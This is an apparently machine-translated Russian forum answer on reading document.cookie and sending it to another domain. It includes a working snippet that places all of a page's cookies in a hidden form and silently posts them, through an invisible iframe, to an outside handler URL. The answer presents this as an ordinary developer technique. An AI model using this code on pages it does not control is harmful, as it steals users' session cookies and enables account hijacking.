Вы можете получить доступ к куки, используя document.cookie
. Тем не менее, это только дает вам имя и значение - я не знаю (о чем я знаю), чтобы получить дату истечения срока действия куки. Он содержит строку со всеми файлами cookie в формате name1=value1; name2=value2; name3=value3;
.
Отправка его в виде запроса POST в другой домен может быть сделана с помощью междоменного XHR , но если вам не нужно читать ответ HTTP на запрос, отправки формы должно быть достаточно. Просто создайте невидимый <form>
с его атрибутом метода, установленным на «post», атрибутом действия, установленным на URL-адрес в другом домене, и атрибутом target, установленным на идентификатор невидимого iframe, добавьте файлы cookie как <input>
, и отправьте форму.
<iframe id="foo" style="display: none"></iframe>
<form id="bar" method="post" target="foo"
action="http://www.someotherdomain.com/handle_cookies.php">
<input id="cookies" type="hidden" name="cookies" />
</form>
<script type="text/javascript">
document.getElementById('cookies').value = document.cookie;
document.getElementById('bar').submit();
</script>
Вероятно, лучше создавать <iframe>
и <form>
динамически, используя JavaScript, вместо того, чтобы писать в HTML, но мне лень писать это в 2:30, извините: P
note : если к первому домену осуществляется доступ по SSL, убедитесь, что соединение с другим доменом также через SSL, в противном случае вы будете передавать защищенные куки-файлы по HTTP как простой текст. Вы можете удалить часть схемы из URL другого домена (например, //www.someotherdomain.com/handle_cookies.php
вместо http://www.someotherdomain.com/handle_cookies.php
), заставив использовать ту же схему, что и схема, из которой отправляются файлы cookie. Я настоятельно рекомендую это сделать.